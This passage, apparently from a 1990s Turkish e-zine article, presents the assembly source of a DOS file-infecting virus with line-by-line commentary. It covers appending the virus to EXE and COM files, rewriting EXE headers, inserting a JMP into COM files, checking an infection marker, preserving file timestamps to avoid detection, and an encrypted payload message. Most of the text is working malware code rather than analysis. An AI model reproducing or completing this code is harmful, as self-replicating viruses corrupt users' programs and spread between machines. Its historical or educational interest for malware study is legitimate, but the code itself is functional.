        Cmp     Word Ptr ds:[Exe_Top],1996h
        jnz     Bulasiver
        Jmp     KapatveCalis

Burada virüsün bulaşacağı programın SS,SP,CS ve IP değerleri saklanıyor.EXE checksum alanının 1996h olup olmadığına bakarak daha önce bulaşılmış olması durumuna bakıyor.Dosya temiz ise bulaşma olayına giriyor.

Bulasiver:
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4202h
        Int     21h
        Mov     Cx,16
        Div     Cx
        Sub     Ax,Word ptr ds:[Parag]
        Mov     Word Ptr ds:[StkSeg],Ax
        Mov     Word Ptr ds:[CodSeg],Ax
        Mov     Word Ptr ds:[CodOfs],dx
        Add     Dx,ToplamBoy
        Mov     Word Ptr ds:[StkOfs],Dx
        Mov     Si,Baslik
        Mov     Di,Ilk3
        Mov     Cx,3
        Rep     Movsb
        Xor     Dx,Dx
        Mov     Cx,ProgBoy
        Mov     Ah,40h
        Int     21h
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4202h
        Int     21h
        Mov     Cx,512
        Div     Cx
        Or      Dx,Dx
        Jz      GYok
        Inc     Ax
Gyok:   Mov     Word Ptr ds:[Boyl],Ax
        Mov     Word Ptr ds:[Boyh],Dx
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4200h
        Int     21h
        Mov     Word Ptr ds:[Exe_Top],1996h
        Mov     Dx,Baslik
        Mov     Cx,28
        Mov     Ah,40h
        Int     21h
        Add     Word Ptr cs:Sayac,1
        Jmp     KapatveCalis

Yukarıdaki kodda yeni EXE header hesaplanıyor.Dosya sonuna virüs kendisini ekliyor ve hesapladığı EXE header'ı yerine koyarak programın virüslü olarak çalışabilecek duruma getiriyor.Sayacı da 1 arttırıp dosyayı kapatıyor.

com:    Cmp     Byte Ptr cs:[Baslik],0e9h
        jnz     YapYapacagini
        Jmp     KapatveCalis

COM uzantılı dosyalarda ise virüs ilk baytın 0e9h olmasına göre bulaşıyor.0E9h olan COM dosyalara hiç bulaşmıyor

YapYapacagini:
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4200h
        Int     21h
        Mov     Ah,3fh
        Mov     Dx,Ilk3
        Mov     Cx,3
        Int     21h
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4202h
        Int     21h
        Cmp     Ax,51200
        ja      KapatveCalis
        Cmp     Ax,10240
        jb      KapatveCalis
        Sub     Ax,3
        Mov     Word Ptr ds:[ComAdr],Ax
        Xor     Dx,Dx
        Mov     Ah,40h
        Mov     Cx,ProgBoy
        Int     21h
        Xor     Cx,Cx
        Xor     Dx,Dx
        Mov     Ax,4200h
        Int     21h
        Mov     Dx,YeniCom
        Mov     Ah,40h
        Mov     Cx,3
        Int     21h

Yukarıdaki kısımda virüs COM dosya boyunun 10240-51200 bayt arasında olup olmadığını kontrol ediyor bu sınır dışındaki COM dosyalara bulaşmıyor.Eğer dosya uygun boyda ise dosya sonuna kendini ekleyip dosyanın başına da eklediği kendi kodunun çalıştırılmasını sağlayacak olan 3 baytlık JMP komutu yerleştiriyor.

KapatveCalis:
        Mov     Ax,5700h
        Int     21h
        Mov     Ax,5701h
        Int     21h
        mov     ah,3eh
        int     21h

Virüs son olarak da yaptığı işlemlerden ötürü dosya tarihi ve saatinin değişmesini engelliyor.Dosyayı kapatıp geri dönüyor.

Acamadi:Ret
Oneri   Equ     $-Tsr
Db 0C5h,0FFh,0E5h,0E2h,0F3h,0FBh,0F2h,0F3h,0B6h,0E0h,0FFh,0E4h,017h,0E5h,0B6h
Db 0EFh,0F7h,0FDh,0F7h,0FAh,0F7h,0F8h,0FBh,0F7h,0E5h,01Bh,0B6h,0F2h,0E3h,0E4h
Db 0E3h,0FBh,0E3h,0F8h,0F2h,0F7h,0B6h,0EFh,0F7h,0E6h,01Bh,0FAh,0F7h,0F5h,0F7h
Db 0FDh,0FAh,0F7h,0E4h,0ACh,09Ch,09Bh,09Ch,09Bh,0A7h,0BBh,0B6h,0C5h,0FFh,0E5h
db 0E2h,0F3h,0FBh,0FFh,0B6h,0E2h,0F3h,0FBh,0FFh,0ECh,0B6h,0F4h,0FFh,0E4h,0B6h
Db 0F2h,0FFh,0E5h,0FDh,0F3h,0E2h,0E2h,0F3h,0B6h,0E5h,0F7h,0FDh,0FAh,0F7h,0F8h
Db 0FBh,01Bh,009h,0B6h,0F7h,0F8h,0E2h,0FFh,0E0h,0FFh,0E4h,017h,0E5h,0B6h,0FFh
Db 0FAh,0F3h,0B6h,0F7h,011h,09Ch,09Bh,0A4h,0BBh,0B6h,0DEh,0F7h,0E4h,0F2h,0B6h
Db 0F2h,0FFh,0E5h,0FDh,0FFh,0B6h,0DEh,0F3h,0E3h,0E4h,0FFh,0E5h,0E2h,0FFh,0F5h
Db 0B6h,0E2h,0F7h,0E4h,0F7h,0EFh,01Bh,0F5h,01Bh,0B6h,0FFh,0FAh,0F3h,0B6h,0E2h
Db 0F7h,0E4h,0F7h,09Ch,09Bh,0A5h,0BBh,0B6h,0C2h,0F3h,0FBh,0FFh,0ECh,0FAh,0F3h
Db 0EFh,0F3h,0FBh,0F3h,0F2h,0FFh,0B6h,0FBh,0FFh,0B6h,0A9h,0B6h,0D9h,0B6h,0ECh
Db 0F7h,0FBh,0F7h,0F8h,0B6h,0F4h,0FFh,0E4h,0B6h,0E5h,0FFh,0F1h,0F7h,0E4h,0F7h
Db 0B6h,0EFh,0F7h,0FDh,09Ch,09Bh,09Ch,09Bh,0A2h,0BBh,0B6h,016h,0F9h,0FDh,0B6h
db 0FDh,01Bh,0ECh,0F2h,01Bh,0EFh,0E5h,0F7h,0F8h,0B6h,0FDh,01Bh,0ECh,0F7h,0F8h
db 0B6h,0EFh,0F3h,0E4h,0FFh,0F8h,0F3h,0B6h,0F4h,0E3h,0ECh,0B6h,0E5h,0F9h,0FDh
db 0B6h,0B7h,09Ch,09Bh,09Ch,09Bh,00Eh,0FBh,0ECh,0F7h,0B6h,0ACh,0B6h,0C5h,0F3h
db 0F8h,0F5h,0F3h,0B6h,0FDh,0FFh,0FBh,0B6h,0A9h

Yukarıda şifrelenmiş mesaj duruyor.Şifre açılınca ne yazdığınız söylemesem daha iyi olur...

FTipi   Equ     $-Tsr
        db      '*.EXE',0
YeniInt24 Equ   $-tsr
        Mov     al,0
        iret
Ilk3    Equ     $-Tsr
        db      0cdh,20h,0cch
YeniCom Equ     $-Tsr
        db      0e9h
ComAdr  Equ     $-Tsr
        dw      ?
ProgBoy Equ     $-Tsr
Int24   Equ     $-Tsr
        dd      ?
Baslik  Equ     $-Tsr
        dw      ?
Boyh    equ     $-Tsr
        dw      ?
Boyl    equ     $-Tsr
        dw      ?,?
Parag   equ     $-tsr
        dw      ?,?,?
StkSeg  equ     $-tsr
        dw      ?
StkOfs  equ     $-tsr
        dw      ?
EXE_Top equ     $-tsr
        dw      ?
CodOfs  equ     $-tsr
        dw      ?
CodSeg  equ     $-tsr
        dw      ?,?,?
EskiDTA Equ     $-Tsr
        dd      ?
YeniDTA Equ     $-Tsr
        db      30 dup (?)      
DosyaAd Equ     $-Tsr
        db      13 dup(?)
Sayac   Equ     $-Tsr
        dw      ?
ToplamBoy Equ   $-Tsr
Main    Endp
End     Main

Yukarıda da virüsün buffer olarak kullandığı heap alanı yer alıyor.Hepsi bu.Virüslerle ilgili yazım bu aylık bu kadar. Gelecek sayıda Boot/MBR virüslerini incelemeye başlayacağız.

 

 

 

:::::::ANA SAYFA::::